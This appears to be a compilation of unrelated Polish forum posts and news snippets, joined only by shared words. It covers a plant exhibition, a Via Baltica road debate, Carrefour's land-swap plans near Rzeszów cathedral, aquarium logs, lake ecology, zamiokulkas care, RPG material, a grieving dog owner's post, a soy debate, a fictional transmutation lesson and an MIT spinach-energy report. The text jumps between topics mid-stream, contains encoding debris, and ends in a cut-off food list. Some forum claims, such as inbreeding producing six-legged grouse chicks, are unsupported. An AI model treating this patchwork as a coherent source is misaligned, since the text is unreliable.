Już przy wejściu, w korytarzu, można było nabyć rośliny, głównie pokojowe: maranty, zamie, draceny, bromelie, fikusy, paprocie i inne. Ekspozycję stanowiło kilka (dosłownie 7) stoisk pochowanych wśród splątanej roślinności, gdzie można było nabyć różne, często trudno dostępne w handlu gatunki oraz podłoża, nawozy i literaturę. W oranżerii znajdowało się też kilka pokazowych ekspozycji złożonych przede wszystkim z orchidei.
Moja uwaga skupiła się głównie na ekspozycji krakowskiego sklepu http://www.gady-gady.pl/ gdzie można było uzyskać cenne porady, a także kupić tak młode, jak i dorosłe rośliny (storczyki, bromelie, oplątwy, owadożerne) oraz elementy dekoracyjne z kory dębu korkowego, mchu i inne.
Poszukiwacze cennych rzadkości i nowinek mogliby jednak czuć się zawiedzeni, gdyż większość takich rarytasów rozeszła się pośród wystawców jeszcze przed otwarciem wystawy. Jednak dla osoby takiej, jak ja - stawiającej pierwsze kroki w uprawie epifitów, była to bardzo pouczająca wycieczka.
Zachęcam wszystkie osoby dysponujące czasem do odwiedzin wysatwy.
Ceny biletów: 5 zł normalny i 3 zł ulgowy.

A co do drogi odciętej drogą szybkiego ruchu to wystarczy że chłop nieco ruszy głową i rozważy którąś ze starych jak świat opcji (zamiana działek, wypas wspólnotowy, udój na miejscu itp. itd.). Zresztą akurat w sprawie Via Baltica problem w wariancie północnym nie istnieje bo czy chłop pole porzuci czy nie to przyrodzie jest to praktycznie obojętne bo właśnie po to przyrodnicy forsują ten wariant bo jest tam dużo mniej ciekawych przyrodniczo obiektów. Przypomnę, że obwodnica Augustowa w obecnym etapie przede wszystkim narusza nie lokalne środowisko ale ważny korytarz ekologiczny, a bez migracji i wymiany genów degeneruje się cała przyroda w promieniu kilkuset kilometrów. Poczytaj sobie o pisklętach głuszcza z sześcioma nóżkami czy żubrach z zapaleniem płuc bo ich populacje się degenerują właśnie przez pocięcie ekosystemów drogami i polami.


Mam tylko jedno proste pytanie. Mieszkasz kolego w mieście i wieś znasz z opowieści (zwłaszcza omałocopradziadkowych o serwitutach)?: to do pierwszego zdania, bowiem zaskoczyłeś mnie brakiem elementarnej wiedzy w temacie. Chyba, że to tylko sprytna figurka retoryczna.

Co ma wspólnego z tematem żubr, który w 100% jest kontrolowany pod względem genetycznym? Co ma wspólnego z tematem głuszec, którego ostatni raz w Rospudzie widzano w latach trzydziestych ubiegłego wieku?

No ja się podpisuję obiema ręcami.Czuję się urażona tymi sformułowaniami.Oczywiście jestem przeciwna wszelkim niepotrzebnym modyfikacjom które wprowadza sie w świat zwierząt jak i roślin.Najbardziej wskazane jest rolnictwo które łaczyłoby gospodarkę ekologiczną z maksymalnym jej zorganizowaniem aby była możliwość wyżywienia społeczeństwa.a jest to możliwe.
A co się tyczy żubrów to masz rację ,bo to jest gatunek kontrolowany przez człowieka.Dawno by wyginął, i to nie teraz tylko na początku 20 wieku.Sto lat temu...

Sprawa powraca ... nie znalazlem tematu wiec zakladam nowy.

Carrefour nadal chce budować przy katedrze

Francuski koncern nie rezygnuje z planów budowy swojej galerii przy rzeszowskiej katedrze. Znów kusi miasto, m.in. dofinansowaniem budowy parku papieskiego. Miasto jednak opiera się.
Do ratusza dotarło pismo od Carrefoura. - Jest to propozycja zamiany działek. Carrefour chce, aby miasto przekazało mu swoje tereny u zbiegu ulic Sikorskiego i Armii Krajowej w zamian za należące do Francuzów działki przy samej katedrze. W przypadku różnicy w cenach działek w grę wchodzi dopłata. Koncern proponuje także offset dla miasta - mówi Maciej Chłodnicki, rzecznik prezydenta Rzeszowa.

Jaki miałby to być offset? - Chodzi m.in. o dofinansowanie powstającego parku papieskiego, a także sfinansowanie budowy Ośrodka Myśli Papieskiej w pobliżu katedry - wyjaśnia rzecznik.

- Rzeczywiście. Odpowiedzieliśmy wtedy, że zamiana działek pomiędzy miastem a tą firmą wchodzi w grę, ale zaproponowaliśmy inne tereny, m.in. przy Ciepłowniczej i na Załężu. Ta propozycja nie została przyjęta - tłumaczą urzędnicy.

Carrefour od wielu już lat jest właścicielem ok. 9 ha przy rzeszowskiej katedrze. Nie może na nich wybudować galerii handlowej m.in. dlatego, że w tym miejscu znajduje się stanowisko chronionej rośliny - zimowita jesiennego. Dlatego też dąży do zamiany działek. Jest zainteresowany miejskimi terenami, które znajdują się także przy katedrze, ale w bardziej atrakcyjnym miejscu - przy skrzyżowaniu Sikorskiego i Armii Krajowej.

Jak miasto zapatruje się na kolejną propozycję koncernu? - Byłoby to trudne do zrealizowania z kilku powodów. Jednym z nich jest sprawa własności działek. W stosunku do części terenów, którymi Carrefour jest zainteresowany, toczy się postępowanie o zwrot. Starają się o to byli właściciele działek, którzy przed laty zostali wywłaszczeni. I w związku z tym na razie żadne zamiany nie wchodzą w rachubę. Druga sprawa to plan zagospodarowania, który obowiązuje na tym terenie. Przewiduje on tam park. Gdyby miała tam powstać galeria, plan trzeba byłoby zmienić - tłumaczy rzecznik. W ciągu kilku najbliższych dni miasto odpowie Carrefourowi. Nieoficjalnie wiadomo, że powie "nie" pomysłowi zamiany działek.

Źródło: Gazeta Wyborcza Rzeszów


Francuska firma Carrefour nie rezygnuje z pomysłów budowy swojego obiektu handlowego w rejonie katedry. Aby do tego doszło, konieczna byłaby jednak zmiana uchwalonego w 2007 r. planu zagospodarowania "Błonia Papieskie".

Przypomnijmy, że na części terenu Carrefoura rośnie chroniona roślina - zimowit jesienny. Dlatego budowę hipermarketu przy skrzyżowaniu al. Sikorskiego i Armii Krajowej miała umożliwić zamiana działek z miastem. Przyjęcie przez radę planu, który przeznaczył te tereny pod park Papieski pokrzyżowało te zamiary. Gdy skarga Carrefoura na uchwalony plan została oddalona przez sąd, Francuzi wyszli z propozycją zamiany gruntu na położony w innym rejonie Rzeszowa. Miasto wskazało działkę przy ul. Ciepłowniczej. To jednak nie zadowala firmy. W środę jej przedstawiciele przyjechali na rozmowy do ratusza.

Galeria, a nie hipermarket

- Miasto nie ma terenów inwestycyjnych, które spełniałyby nasze oczekiwania - mówi Andrzej Hojn z Carrefoura.

- Dlatego chcemy wrócić do koncepcji zamiany gruntu, realizacji inwestycji w rejonie katedry oraz parku Papieskiego.

Tym razem Carrefour nie chce już budować hipermarketu.

- W ciągu kilku lat zmieniły się realia, dlatego teraz mówimy o galerii handlowej od strony ulicy - tłumaczy Hojn. - Mieszkańcy są przychylni tej inwestycji o czym świadczą przeprowadzone przez nas badania.

Carrefour zaangażowałby się w budowę parku Papieskiego na terenie za galerią. Problem w tym, że miasto już rozpoczęło jego budowę według swoich planów. Jak na sprawę patrzą władze Rzeszowa?

- Rzeczywiście doszło do spotkania z firmą Carrefour - odpowiada Maciej Chłodnicki, rzecznik prezydenta.

- Jej przedstawiciele złożyli propozycję powrotu do koncepcji budowy obiektu handlowego przy al. Armii Krajowej. Są zdeterminowani, by ją realizować. Jednak obowiązujący plan zagospodarowania przestrzennego to uniemożliwia. Potrzebna byłaby zmiana planu, ale to wymaga zgody Rady Miasta.

Kolejne rozmowy z Carrefourem mają być prowadzone po wakacjach.

KRZYSZTOF KUCHTA

Źródło: Super Nowości
[/quote]

jak dla mnie jakaś nowoczesna galeria w tym miejscu może być coś na miano MH bo zapowiadaja że niebedzie to blaszak.... i co ważne powstała by kolejna konkurencja dla pana P.

hej, ze względu na chęć zastosowania podłoża organicznego pod zwirem, zrobiłem szybki, całkowity reset baniaka; dołozyłem także wiecej korzeni. Reset baniaka trwał 15h, rośliny i ryby wraz z 240L starej wody zostały przełożone do beczek, krewetki przełozyłem do małego 54L akwarium, oczywiscie na starej wodzie. Filtry poprzekładałem do beczek-niebyły czyszczone!. Po wyjęciu starego podłoża rozsypałem na dnie baniaka 8 wiaderek substratu Acti Aquael'a, bezprsrednio na niego dałem 30% starego, nieczyszczonego zwiru, z całym mułem jaki w sobie zawierał. Pozostałe 70% przepłukałem porządnie pod bierzącą chłodną wodą. Po włożeniu całego zwiru do akwarium, przepompowałem z beczek do baniaka starą wode, zasadziłem rośliny, wpusciłem ryby i podłączyłem filtry. Nastepnego dnia przełozyłem krewetki. Świezej wody w baniaku wyszło tyle co po większej podmianie

Troche danych:

Akwarium: 160x50x53h
Oświetlenie T5 2x49w 965 philips, 1x80w 865 philips, 1x80w AquaMedic PLANTA
Podłoże: 24L ActiSubstrate Aquael'a, na wierzchu gruba warstwa kwarcu drobnego zmieszanego z aquagruntem filtusa
Filtracja: kubełek UniMax 250 Aquaela, wewnętrzny Fluval 4+ Hagena
Nawożenie: Tropica AquaCare 'Plant Nutrition+ liquid' CO2 24h/doba

Ryby:
40x rasbora espei
20x prystelka
10x rasbora ??
10x zwinnik blehera
5x kirysek sterbai
minimum 10x molinezja ostrousta
minimum 25x gupik endlera
3x bocja striata
......pozatym jest ponad 200sztuk krewetek red cherry i 3x amano

Rośliny:
Microsorium pteropus, odmiana z małymi i wąskimi lśćmi
blyxa japonica
anubiasy
cryptocoryna wendti brown oraz green
sagitaria subulata
elatina triandra
Hygrophilia polisperma - docelowo zamiana na echinodorusy
Nymphea Lotus red oraz green
Hygrophilia corymbosa minima
heteranthera zostarifolia - zamiana na echinodorusy
pelia
xmass moss

Tak jak napisał kurek - pytanie krótkie a odpowiedź na opasłe tomisko. Przy okazji: kurek - fajne artykuły. Może zmierzymy się z tym zagadnieniem jakoś tak serialowo. Wojtek cwaniak - jego sagi mają po kilka odcinków, a nam wyskoczył z "Modą na sukces"

Mało kto wie, że nauka badająca jak działa jezioro nazywa się limnologią i mieliśmy w kraju kilku wybitnych naukowców w tej dziedzinie. Prof. Olszewski pozostawił nawet namacalną spuściznę swojej pracy w postaci rury, którą nurasy mogą oglądać w jeziorze Kortowskim w Olsztynie i kilku jeziorach alpejskich w Austrii.

To co z tym litoralem i jego kolegami?

Za http://levis.sggw.waw.pl/~ozw1/zgw/msos/01_02/ekosystemy/zbiorniki.htm
Słusznie Wojtek prawi, że jest litoral i głónie w nim się dzieje, ale... ale jak widać - w dół od litoralu jest już tylko jedna warstwa - profundal. Pelagial, to nic innego jak toń wodna i sięga tak głeboko jak siega światło umożliwiające, fotosyntezę. Litoral to ta warstwa w której występują zakorzenione rośliny, czyli makrofity.

Warstwa trofogeniczna, to litoral i pelagial, - produkuje jedzonko, czyli zamienia marwą materię na żywe roślinki. W warstwie trofolitycznej - czyli tam, gdzie słonko nie zagląda - nie następuje już produkcja pierwotna, za to ma miejsce wzmożona zamiana materii organicznej na nieorganiczną, z czego poniekąd biorą się "aromaty", ale o tym w niedalekiej przyszłości.

Podsumowując: podstawą życia w jeziorze jest światło. Tam gdzie światło przenika przez wodę rosną z reguły jakieś roślinki - w litoralu duże, w pelagialu małe. Paradoksalnie, to te małe są podstawą produktywności zbiornika, tzn produkują więcej tlenu i stanowią pierwsze ogniwo łańcucha pokarmowego, ale też po przekroczeniu równowagi mogą spowodować śmierć zbiornika. Poniżej warstwy prześwietlonej nic się już nie produkuje (albo prawie nic, bo mogą tam występować bakterie chemoautotroficzne) za to wszystko, co spadnie, to się rozkłada.

W następnym odcinku - jak umiera jezioro.

Państwo: Zimbabwe
Miasto: Zakroczym
roślina: Zamiokulkas Zamiolistny
rzecz: zamek
sławna osoba: Maciej Zakościelny
zwierzę: zebra
słowo angielskie: zebra crossing

Weboo zamiokulkas był swego czasu najmodniejszą rośliną ,poprostu był na topie /chyba jeszcze jest /, ja na nią chorowałam ale wyleczyłam się ,bo niestety nie mam jej gdzie postawić. A tak mi się podoba.

Basiu cała uroda w liściach - ja też go kupiłam będąc w Skierniewicach ,poprostu nie umiałam oprzeć się urokowi rośliny

Zamiokulkas

Nic, czekać cierpliwie. Umiarkowanie podlewać i cieszyć się rośliną. Czasami po przesadzeniu zamiokulkas potrzebuje sporo czasu nim ruszy z wegetacją. Jeżeli liście wyglądają na zdrowe, to oznacza, że roślinie nic nie dolega.

Zamię, czy zamioculcasa? Bo to są dwie różne rośliny. Podobno.

1
Zdecydowanie jak cala ziemia przeschnie!
Zamiokulkas nie lubi gdy ma mokro Gdy wyjechalam moj zamiokulkas nie byl podlewany 3 tygodnie, przestawilam go tylko w nieco ciemniejsze miesce i roslina czuje sie swietnie

Tak samo zamioculcas zamiifolia ostatnio czesto widywany i mylony z nazewnictwa z zamią.

Bardzo ładnie wygląda. Wiem, że może stać w zaciemnionym kącie ale ja nie stawiam roślin na podłodze bo mi cavaliery ogonami ziemię z donic wymiatają. I miejsca już brak.

Pytanie:

Co Ty zmieniłbyś w Monastyrze? Przy okazji podyskutujemy na temat wizji "subiektywnie dobrego RPG".

Więc co ja bym zmienił?
Dominium - ok. Idea ciemności, walczącego kościoła, wiary - ok. Nacje - ok. Sprzymierzeńcy, lojalność - super.

Mechanika - precz. W zamian inna, prostsza, może nawet prostacka. Wielofunkcyjna. Bazowana na k6. Kreacja postaci - skrócona.

Szlachcice - precz. Z tego, co dowiaduję się od ludzi - problem ten nie nurtuje tylko mnie. Zamiana na: nie dla konwencji płaszcza i szpady.

Cofnięcie epoki gry do czasu przełomu. Zbroja i miecz dalej robią wrażenie. Nie tylko pokazowe.

Zmiana układu sił. Wziąć nasiona z Valdoru i zasadzić w całym Dominium. Więcej różnorodności pod ręką. Pomysł - choćby: "te rośliny przynoszą zgubę". Charakter świata bardziej bitewny w sensie namacalnym.

Ciemność to nie jest dobry wróg do pobicia. Jej rola jest jednak kluczowa. Musi zatem pojawić się inne źródło fizycznej walki z bohaterami, nie związane z Ciemnością. Co najwyżej inspirowane przez nią.

Deviria - historia świata przez pryzmat tych stworzeń mnie się nie podoba. Nie podam też zamiany dotyczącej kosmologii. Bo o ile Dominium jest dobre, o tyle jego kosmologia to chaos. Bohater wobec tych informacji jawi się zupełnie wyciągnięty z kontekstu (nawet mag, chyba, że w sensie samych informacji).

Bohaterowie na dwa działy: Wielcy Upadli (porażka życiowa, bez zmian) oraz Poszkodowani - ludzie czystych sumień, bohaterzy, których dotknęły nieszczęścia ziemi. Stali się uczestnikami zbiorowego nieszczęścia.

Większy nacisk na bohaterskość bohaterów. Nie heroic ale też nie to, co zostało zaproponowane w Monastyrze. Propozycja: heroiczność wiary bohaterów. Wyjątkowa zdolność pokonywania duchowego Ciemności.

To wstępne obrazy.



Imię: Marael
Nazwisko: Woodwhisper
Rasa: człowiek
Klasa: Druid
Wiek: 43 lata
Waga: 81 kg
Wzrost: 183 cm
Oczy: błękitne
Włosy: długie blond, z tyłu splecione w mnóstwo małych warkoczyków

Wygląd: Marael jest dość wysokim człowiekem, dobrze zbudowanym. Ma na sobie skórzaną zbroję, podróżne buty, w dłoni zaś dzierży podwójną włócznię. U jego pasa zwisa ornat druidów, zaś zawsze towarzyszy mu jego przyjaciel - wilk Khazar. Sprawia wrażenie miłej osoby w podeszłym wieku, czego jednak nie sposób wykryć na pierwszy rzut oka, gdzyż jego wiek dobrze maskują soczyste blond włosy.

Charakter: Neutralny
Bóstwo: Silvanus
Atrybuty:

S: 10
ZR: 11
BD: 12
INT: 14
RZT: 18
CHA: 15

Umiejętności:

postępowanie ze zwierzętami
zwierzęca empatia
wiedza (natura)
profesja (zielarz)
wróżenie
czarostwo
dyplomacja
tajniki dziczy

Atuty:

zmysł natury
towarzystwo zwierząt (wilk Khazar)

tropienie
oburęczność
zogniskowanie czaru

Czary:
Rozmowa ze zwierzętami
Oplątanie krzewami
Leczenie
Lodowa strzała
Płonąca strzała
Zamiana w zwierzę (wilk, niedźwiedź, sokół)
Tarcza

Ekwipunek: bukłak, sakiewka z pieniędzmi, plecak (2 liny 15m każda, hubka, krzesiwo, papier i atrament, komponenty do czarów, lusterko - małe stalowe), podwójna włócznia, zbroja skórzana, buty podróżne, amulet ze świętym symbolem Silvanusa (liść dębu).

Historia bohatera: Marael Woodwhisper urodził się w rolniczej rodzinie w lasach Tethyru. Wiódł spokojne życie wraz z rodzicami i czwórką rodzeństwa, do czasu najazdu orków. Cała rodzina została wybita, ten jednak cudem się uratował chowając się w wazie stojącej w pokoju gościnnym. Młodą sierotkę przygarnęli druidzi z pobliskiego gaju. Szybko odkryli jego talenty przyrodnicze. Kochał zwierzęta i umiał rozróżnić różne rośliny i zioła. Druidzi powierzyli go w opiekę Silvanusowi, Panu Lasów i Zwierząt, dobremu Pasterzowi. Od kilku lat towarzyszy mu wilk, nazwany przez niego imieniem Khazar. Uratował go z kłusowniczych sideł i się z nim szybko i mocno zaprzyjaźnił. Od tej pory Khazar nie odstępuje Maraela ani o krok.

Witam Was. Minał trzeci dzień bez NIEGO. Jak pusto i smutno na podwórzu. Sharkan nie chce jeść, jest nieswój, martwię się teraz o niego. Jedzenie to zawsze był cały ceremoniał. Goro błyskawicznie zjadał ze swojej miski co lepsze i kładł się vis a vis Sharkana wbijając wzrok w nie swoje. Sharkan zawsze je na leząco i powoli wyławiał smakowitsze kaski, wstawał i następowała zamiana misek. Czasem Goro biegł do sadu i tam szczekał, prowokował Sharkana. I jak tylko ten zostawiał michę to Goro błyskawicznie wracał i mu wyjadał. No nie zawsze Mu się udawało, ale wciąż próbował tej sztuczki. 10 lat byli razem i przeżyli myślę wspaniałe chwile, a ja przy nich. I ostatnie może 2, 3 lata dostawałem od Gorusia rózne sygnały, których nie zrozumiałem. Przestał wchodzić po schodach, zawsze wskakiwał. Przymierzał się długo i hop,hop. Do samochodu też jednym susem i za kazdym razem radość nieopisana. Teraz wiem, ze Goro tak sie cieszył z pokonania przeszkody. Na spacerach bywał nierówny. Czasem wlókł się w ogonie, a innym razem wciąz się oddalał, buszował i mogłeś gadać do niego, a On jakby nie słyszał. To były dni zapewne, kiedy czuł się lepiej i chciał sobie wynagrodzić. Często zaszywa ł się gdzieś pod krzakiem, kopał dziury niszcząc rosliny chociaz wiedział że nie wolno. Bolało Go i nie chciał tego pokazać? Albo spał spokojnie i nagle siada, myśli, przenosi sie i z mruknieciem ciezko uwala na ziemie. Nazywałem Go wtedy mruczkiem. No i to zaczepianie o siebie tylnych łap. Czasem bardziej, czasem mniej. Grzbietu ostatnio nie miał równego jak Sharkan, tylko lekko wygiety ku górze. To wszystko wskazywało, że mógł miec problemy z kregosłupem od dawna. Ale mylił moją czujność swoją nieopisaną radoscia zycia. Tak jakby cieszył sie z każdego dnia z kazdej chwili spedzonej w swoim stadzie. W efekcie przebieg ostatnich fatalnych zdarzeń nie był standardowy. Od pierwszego bezwładu tylnej nogi do śmierci minał ledwie tydzień. Dowiaduje się naokoło, że psy z takich chorób wyciaga się ( albo i nie) przez znacznie dłuzszy okres. My dopiero przymierzalismy sie do podjecia własciwych działań. SŁUCHAJCIE: to nie są wymysły faceta, który cierpi po stracie ukochanego psa. To sa fakty. Najmniej wiemy zazwyczaj o chorobach, szczególnie jesli nas bezposrednio nie dotycza. Sprawdzcie jakie są najczęstsze dolegliwości u zwierzaków, jakie są typowe dla róznych ras. Obserwujcie je uwaznie. To co wydaje sie nawet zabawne, może być ostrzegawczym sygnałem. Nie chodzi mi o wpadanie w przesadę i bieganie do weta z kazdą bzdurą. Ale posiadana wiedza może uchronic kiedyś przed bólem z którym ja nie moge teraz sobie poradzić.

Witam...
Mineło trochę czasu od mojej ostatniej relacji...
Co do zmian, Wydłużył się czas świecenia. Glony już się nie pojawiają te co zostały są w małej ilości zajmą się nimy pewnie kosiarki i otoski...
Z nowości to od 4 dni nawożę symfonią złotą zawsze po zgaszeniu światła, leje SZ i Potas... Dzisiaj rano zakupiłem 0,5 litra Tropical Ferro-arctiv i zamierzam lać po 2,5 ml rano po zaświeceniu światła...
Co zaobserwowałem to to iż odkąd leję SZ mchy ruszyły jeszcze bardziej, ogólnie wszystkie rośliny jakby ożyły
no nic oto fotka



Zamierzam poczekać jeszcze tydzień i zrobić przycinkę, powoli nadawać kształtu temu chaosowi, co o tym myślicie?? czy jeszcze dać dłużej spokój rośliną??

teraz tak zastanawiam się czy na prawą stronę nie położyć jakiegoś konarowego korzenia i zamienić rośliny miejscami
dokładnie te 2 gatunki:


jak uważacie?? bo w sumie teraz ta roślina co rośnie w prawym rogu pan Arek z Aquabotanique powiedział że jak będzie miała dobre warunki to zmieni się na wiśniowo czerwony kolor i w sumie nie wiem czy taka zamiana będzie dobrze wyglądać tj. dwie czerwono kolorowe rośliny obok siebie ??

No i sprawa ryb, obecnie mam:
3x skalar (jako gatunek zostana na stałe, ale będą wymieniane jak podrosną)
5x zmienniak plamisty
5x otosek
5x kosiarka (ako gatunek zostana na stałe, ale będą wymieniane jak podrosną)
1x zbrojnik kolumbijski (wymieniony zostanie jak podrośnie albo oddany całkowicie)
2x razbora klinowa (tylko tyle bo to pozostałość po nie udanym transporcie) no i właśnie ile mogę dokupić razbor by ładnie wyglądały jako ławica, myślałem o 20 szt. ale czy nie będę miał za dużo ryb??

Prawdopodobnie kupiłaś już wcześniej przelaną roslinę. Z tego co wiem kiedy zamiokulkas zaczyna chorować (gnicie to zna 100% przelanie połączone z zimnem) nie da się go już uratować.

Agato.. zamiokulkas i zamia to zupelnie 2 rozne rosliny i nie nalezy tego mylic.
pozdrawiam

Kupiłam niedawno zamiokulkas. Nie wiem o niej zbyt wiele, oprócz tego, że jest łatwa w uprawie. Bardzo mi się podoba ta roślina i chciałabym ją rozmnożyć. Może ktoś wie jak?

zostało troche roślin i mech za grosze lub zamiana za inne

A koszty i zagrożenia?
Najważniejsi producenci soi: USA (51%), Argentyna (10%), Brazylia (19%), Chiny (9%), pozostałe kraje 11%. Na zaspokajanie obecnych potrzeb przeznacza się 73 miliony hektarów, średni plon to 2,2 tony z hektara. O ile wzrosnąć musiałby areał dla zaspokojenia o wiele większego zapotrzebowania całej ludności na świecie i czy kraje te mają grunty, które można przeznaczyć pod kolejne uprawy? Roślina ma określone wymagania, w każdych warunkach nie urośnie. Co w takim razie z Puszczą Amazońską, czy raczej jakie byłyby konsekwencje jej przetrzebienia (a może i wycięcia w pień) pod uprawy, a wierzę że to scenariusz mozliwy do zralizowania. I co z zagrożeniem jakie niesie monokultura czyli z wyjałowieniem gleby a tym samym postępującą obniżką plonów przy ciągle wzrastającej ludzkiej populacji? A trzeba pamiętać, że soja zaspokaja nie tylko potrzeby żywieniowe, ale i używana jest w przemyśle, m.in. do produkcji biopaliw. Chiny i Indie zmniejszają wielkość upraw ryżu a zwiększają uprawy soi, bo jej sprzedaż dla produkcji biopaliw bardziej się opłaca. Stany nadwyżkę plonów kukurydzy przeznaczają na biopaliwa ,co obrazuje, że jak jest interes do zrobienia to głód na świecie schodzi na drugi plan. I jeśli tylko kilka krajów liczy się na rynku sojowym, to jak będzie kształtowała się jej cena? I kogo na nią będzie stać?
Jeśli chodzi o walkę z głodem w najbiedniejszych krajach świata to zamiana w naszym menu mięsa na soję niczego nie zmieni. Zgodnie z raportem ONZ obecnie produkujemy wystarczająca ilość żywności dla zaspokojenia głodu całej ludzkiej populacji. Więc przejscie na wegetarianizm tej kwestii nie załatwi, zwłaszcza że w Afryce soja rosnąć nie będzie.
To kilka wątpliwości jakie mi się nasunęły.

Rozdział I:
METAMORFOMAGIA I TRANSMUTACJA ORGANICZNA
Metamorfomagia to dziedzina magii, polegająca na zmianie wyglądu czarodzieja w dowolnym czasie i miejscu bez użycia przyrządów (nożyczek, skalpela, różdżki itp.). Jest to trudna, jednak łatwiejsza od animizacji sztuka zmiany wyglądu. Wykonuje się ją (podobnie jak animizacje) bez różdżki. Czarodziejów, którzy posiadają zdolność metamorfomagii nazywa się metamorfomagami. Metamorfomagii nie można się nauczyć, trzeba się urodzić z tą sztuką. Dlatego na świecie jest tak mało metamorfomagów.

Metamorfomag jest to czarodziej, który posiada sztukę metamorfomagii. Mówią jaśniej, metamorfomag jest to czarodziej, który umie zmieniać swój wygląd. Jeżeli metamorfomag chce zmienić swój wygląd, najpierw myśli o rzeczy, którą chce zmienić (np. włosy) i na jaki kolor i jak długie mają być włosy. Wtedy zachodzi reakcja, komórki pierwotnego koloru włosów "umierają", a zastępują je komórki nowego koloru. Jeżeli chcemy wydłużyć włosy, to komórki włosów wydłużają się i "rodzą się" nowe. Jeżeli chcemy zmienić kształt np. nosa, to komórki nosowe zmieniają swój kształt w taki sposób, aby zmienić kształt nosa na taki, jaki chce czarodziej.

Transmutacja organiczna jest to zamiana rośliny w roślinę lub zwierzęcia w zwierzę. Z tą transmutacją spotkamy się w tym roku. Ograniczonej wyróżniasięnwa jej rodzaje:
roślinną,
zwierzęcą.
Transmutacja organiczna roślinna jest prostsza od zwierzęcej, ale do jej wyćwiczenia potrzeba sporo czasu. Na początku należy zająć się zamianą małych roślin, najlepiej z tego samego gatunku, a dopiero potem brać się za zamianę większych roślin (w tym drzew) lub do transmutacji międzygatunkowej. Powinniśmy najpierw wiedzieć kilka rzeczy na temat tego, w co chcemy zamienić naszą roślinę (nazwę rośliny, kształt, zapach, smak - nie zawsze, skład chemiczny). Skład chemiczny jest ważny tylko na początku. Jeżeli wyćwiczymy się w transmutacji organicznej znajomość składu chemicznego nie będzie nam potrzebna. Roślina, która powstała poprzez transmutowanie nie ma takich samych magicznych właściwości, jakie posiada wyhodowana, znaleziona lub kupiona.
Transmutacja organiczna zwierzęca jest trudniejsza, więc zapoznamy się z nią dopiero w 3 klasie.

Rodzaje transmutacji

Istnieje wiele różnych rodzajów transmutacji. Oto kilka z nich:

a)politransmutacja r11; jest to zamiana wielu identycznych przedmiotów w taką samą ilość innych również do siebie identycznych przedmiotów. Wyróżniamy pięć stopni politransmutacji:
- stopień I r11; zamiana od 2 do 10 przedmiotów.
- stopień II r11; zamiana od 11 do 100 przedmiotów
- stopień III r11; zamiana od 101 do 1000 przedmiotów
- stopień IV r11; zamiana od 1001 do 10000 przedmiotów
- stopień V r11; zamiana 10001 i więcej przedmiotów

b) transmutacja podwójna r11; wydawałoby się, że powinna być łatwiejsza odpolitransmutacji, ale nie jest. A dlatego, że polega ona na zamienienie dwóch innych przedmiotów w dwa inne na Az. Bywa, że transmutacja podwójna jest łatwiejsza (np. zamiana rękawiczek w skarpetki r11; dwa inne przedmioty: rękawiczka na prawą rękę, rękawiczka na lewą ręke; zamieniają się w dwa inne przedmioty: skarpetkę na lewą nogę, skarpetkę na prawą nogę).

c) Transmutacja zwiększająca r11; dosyć trudny rodzaj transmutacji. Oprócz zamiany musimy się skupić również na zaklęciu powiększającymrEngorgior1;. Wypowiadając zaklęcie najpierw mówimy rEngorgior1; skupiając się na zamianie a potem zaklęcie na transmutację, skupiając się na powiększeniu.

d) Transmutacja pomnażająca r11; trudny rodzaj transmutacji. Skupiamy się na zamianie danej rzeczy w coś innego, jednocześnie myśląc o większej ilości zamienionego produktu. Okropnie trudne, ale do opanowania.

e) Transmutacja organiczna jest to zamiana rośliny w roślinę lub zwierzęcia w zwierzę. W transmutacji organicznej wyróżnia się dwa jej rodzaje.
1)roślinną
2)zwierzęcą
Transmutacja organiczna roślinna jest prostsza od zwierzęcej, ale do jej wyćwiczenia potrzeba sporo czasu. Na początku należy zając się zamianą małych roślin, najlepiej z tego samego gatunku, a dopiero potem brać się za zamianę większych roślin lub do transmutacji międzygatunkowej. Powinniśmy najpierw wiedzieć kilka rzeczy na temat tego, w co chcemy zamienić naszą roślinę (nazwę rośliny, zapach, smak r11;nie zawsze, skład chemiczny). Skład chemiczny jest ważny tylko na początku. Jeżeli wyćwiczymy się w transmutacji organicznej znajomość składu chemicznego nie będzie nam potrzebna. Roślina, która powstała poprzez transmutowanie nie ma takich samych magicznych właściwości, jakie posiada wyhodowana, znaleziona lub kupiona.

czy ktoś próbował rozsadzić w domu tę roślinę?
nie zamieszczam zdjęcia-wystarczy wpisać w wyszukiwarkę nazwę i zobaczycie o co chodzi

Mamy zawsze nam mówiły: Jedz szpinak, bo jest zdrowy. Z tego założenia wyszli również naukowcy Massachusetts Institute of Technology (MIT), twierdząc, że udało im się wykorzystać szpinak do wygenerowania energii. Zamiana energii słonecznej w procesie fotosyntezy na elektryczną może w przyszłości posłużyć do zasilania notebooków, telefonów komórkowych itp.
Próby połączenia układu organicznego z elektronicznym kończyły się do tej pory fiaskiem. Próby wyizolowania fotosyntetycznych protein, które przechwytują energię słoneczną, kończyły się ich obumieraniem. Wstrzykiwanie wody i soli potrzebnych do utrzymania ich przy życiu doprowadzało natomiast do zniszczenia sprzętu elektronicznego.

Utrzymanie protein przy życiu udało się dopiero dyrektorowi MIT Center for Biomedical Engineering Shuanguangowi Zhang. Zespołowi kierowanemu przez Zhanga udało się stworzyć swego rodzaju "szpinakową kanapkę".

W rzeczywistości do eksperymentu mogłoby posłużyć wiele innych gatunków roślin. Naukowcy wybrali jednak szpinak, kierując się jego niską ceną i powszechną dostępnością.

Sercem wynalazku jest zestaw protein nazwanych Photosystem I (PSI). Uzyskany z chloroplastów szpinaku PSI charakteryzuje się szerokością od 10 do 20 nanometrów. Około 100 tysięcy takich systemów zmieściłoby się więc na główce od szpilki.

Spód skonstruowanej przez naukowców z MIT kanapki składa się z przezroczystego szkła, na które napylono materiał przewodzący impulsy elektryczne. Dodatkowo cienka warstwa złota wspomaga zachodzenie reakcji chemicznych.

Naukowcy poddali kanapkę działaniu światła lasera, obserwując pojawienie się w obwodzie prądu o niewielkim napięciu. Połączenie milionów lub nawet miliardów tego typu kanapek może już zasilić urządzenie elektroniczne.

Na praktyczne zastosowanie wynalazku trzeba będzie więc jeszcze trochę poczekać.

Źródło: chip.pl

Dostałam w prezencie tę roślinę, ale niestety nigdzie nie znalazłam informacji o jej uprawie. Nie chciałabym jej zniszczyć,dlatego będę wdzięczna za wszelkie wskazówki dotyczące jej pielęgnacji.

Poszukuję chętnych na paprocie, ewentualnie zamiana na inne rośliny.

1.Produkty zbożowe:
100g.mąki, kaszy odpowiada:
100g makaronu
100g grochu i fasoli suchej
100g pieczywa chrupkiego, bułki tartej, herbatników, sucharków
135g chleba, bułek, pieczywa cukierniczego
2. Mleko i produkty mleczne:
100g mleka odpowiada:
